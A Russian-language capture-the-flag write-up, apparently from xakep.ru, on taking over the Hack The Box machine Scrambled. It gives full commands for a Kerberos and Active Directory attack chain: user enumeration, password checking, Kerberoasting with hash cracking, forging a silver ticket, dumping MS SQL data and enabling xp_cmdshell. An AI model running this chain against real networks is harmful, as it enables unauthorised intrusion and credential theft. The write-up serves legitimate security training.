Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
В сегодняшнем райтапе я покажу, как атака ASREPRoast позволяет получить тикет для службы MS SQL. Данные из базы помогут нам в продвижении, а для повышения привилегий заюзаем уязвимость при использовании сериализации.
Наша цель — захват тренировочной машины Scrambled с площадки Hack The Box.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Добавляем IP-адрес машины в /etc/hosts
, чтобы к ней было удобнее обращаться:
10.10.11.168 scrambled.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Результат работы скрипта
Нашлось много открытых портов, что типично для Windows:
Все перечисленные службы Microsoft пока что ничего нам дать не могут, поэтому первым делом смотрим сайт.
Страница IT Services
Сразу отмечаем полезную информацию: аутентификация NTLM отключена.
На одной из страниц находим скриншот консоли, а в нем видно пользователя ksimpson. Это очень важная информация!
Страница Reports
На другой странице отмечаем инструкцию к ПО, работающему на порте 4411. Здесь обратим внимание на имя сервера и домен — dc1.scrm.local
. Соответствующие записи добавляем в файл /etc/hosts
.
10.10.11.168 scrambled.htb dc1.scrm.local scrm.local
Страница IT Services
А также находим информацию о том, что имя пользователя может выступить в качестве пароля.
Информация о сбросе пароля
Мы можем отправить запрос ASREP, существует ли тот или иной аккаунт. Есть возможность запросить ключ (AS key) Kerberos этого пользователя, ключ будет зашифрован с помощью его пароля. Но дело в том, что сервер различает ответы «данный флаг не установлен» и «учетная запись не существует». А значит, если пройдемся по именам пользователей и для какого‑то нам ответят, что флаг не установлен, мы узнаем, что эта учетка существует. Сделать такой перебор можно с помощью инструмента GetNPUsers из пакета impacket. Имя пользователя у нас уже есть.
GetNPUsers.py scrm.local/ksimpson -no-pass
Проверка существования пользователя
Нам ответили, что флаг не установлен, а значит, учетная запись существует. Теперь с помощью kerbrute проверим пароль пользователя.
kerbrute_linux_amd64 passwordspray -d scrm.local --dc dc1.scrm.local users.txt ksimpson
Проверка пароля пользователя
Учетные данные оказались верны, поэтому мы можем запросить тикет пользователя и применить его как аутентификатор, вместо пароля. В этом нам поможет скрипт getTGT из того же impacket.
impacket-getTGT scrm.local/ksimpson:ksimpson
Получение тикета пользователя ksimpson
Экспортируем полученный тикет и подключаемся к службе SMB. Чтобы удалось аутентифицироваться, время на твоем хосте и на сервере должно отличаться не больше чем на пять минут. Поэтому стоит обновить локальное время по протоколу NTP.
sudo ntpdate scrm.local
export KRB5CCNAME=ksimpson.ccache
impacket-smbclient -k scrm.local/[email protected] -no-pass
Подключение к ресурсу SMB
Командой shares
получаем список ресурсов.
Пройдясь по каталогам, успешно заходим в Public
.
use Pablic
SMB-ресурс Public
Там находим всего один документ. Скачиваем его командой get <file>
. В самом документе рассказано о недавнем взломе службы MS SQL.
Содержимое загруженного документа
Раз мы имеем дело с MS SQL, значит, можем выполнить атаку Kerberoasting. Ее цель — собрать билеты TGS для служб, которые запускаются от имени пользователей, а не от системных учеток. Тикеты TGS зашифрованы ключами, полученными из паролей пользователей, а значит, их данные можно взломать простым перебором. Уязвимые учетные записи определим по полю SPN, которое не будет пустым. Выполним запрос TGS с помощью скрипта GetUserSPNs из все того же impacket.
GetUserSPNs.py scrm.local/ksimpson -dc-ip dc1.scrm.local -dc-host dc1.scrm.local -request -k -no-pass
Получение тикета учетной записи службы MS SQL
Теперь сохраним тикет в файл и отдадим JTR для перебора. Пароль учетной записи получим очень быстро.
john sqlsvc.hash --wordlist=rockyou.txt
Пароль учетной записи
Мы получили пароль службы, и, чтобы с ней работать, следующим шагом должно быть получение «серебряного билета». Silver ticket — это реальный билет TGS для определенной службы, в котором используется NTLM пользователя. Он даст нам доступ к этой службе. Чтобы сгенерировать такой билет, нам нужно знать NTLM-хеш пароля и SID домена. SID домена получим из отладочной информации при выполнении impacket-secretsdump
.
impacket-secretsdump -k scrm.local/[email protected] -no-pass -debug
SID домена
А хеш генерируем на сайте md5decrypt.net из полученного пароля.
NTLM-хеш пароля
А теперь генерируем билет.
ticketer.py -domain scrm.local -spn MSSQLSVC/dc1.scrm.local -user-id 500 Administrator -nthash b999a16500b87d17ec7f2e2a68778f05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200
Создание серебряного билета
Экспортируем созданный билет в рабочее окружение и подключаемся к службе MS SQL, используя аутентификацию Kerberos.
export KRB5CCNAME=Administrator.ccache
mssqlclient.py dc1.scrm.local -k -no-passSELECT name FROM master.dbo.sysdatabases
Существующие базы данных
Перейдем к базе данных ScrambleHR
и получим из нее таблицы.
use ScrambleHRSELECT name FROM SYSOBJECTS WHERE xtype = 'U'
Таблицы в базе ScrambleHR
Нас интересует таблица пользователей UserImport
. Получаем все ее записи.
select * from UserImport
Данные в таблице UserImport
С найденными учетными данными подключиться никуда не удастся, поэтому попробуем получить управление через MS SQL. Первым делом нужно активировать xp_cmdshell
. Из нашего интерпретатора это можно сделать встроенной командой enable_xp_cmdshell
, после чего выполняем реконфигурацию.
enable_xp_cmdshellreconfigure
Включение xp_cmdshell
Теперь мы можем выполнять команды через xp_cmdshell
.
Получение командной оболочки
Источник: xakep.ru